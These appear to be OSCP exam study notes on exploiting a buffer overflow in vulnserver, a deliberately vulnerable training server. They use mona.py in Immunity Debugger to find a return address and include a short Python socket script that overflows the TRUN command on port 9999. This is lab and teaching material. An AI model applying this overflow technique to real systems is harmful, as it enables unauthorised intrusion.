OSCP Learning Notes - Buffer Overflows(4)
Finding the Right Module(mona)
Mona Module Project website: https://github.com/corelan/mona
1. Download mona.py, and drop it into the 'OyCommands' file.
2. Open the vulnserver and Immnity Debugger and attach the vulnserver.
3. Execute mona modules
625011af
Set the stop point on "625011af"
Then run the immunity debugger.
4. Write the following Python test script, and perfom it on Kali Linux.
#!/usr/bin/python import socket import sys shellcode = "A" * 2003 + "\xaf\x11\x50\x62" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: connect = s.connect(('10.0.0.XX',9999)) s.send(('TRUN /.:/' + shellcode)) except: print "check debugger" s.close()
5. The vulnserver is crashed,
相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。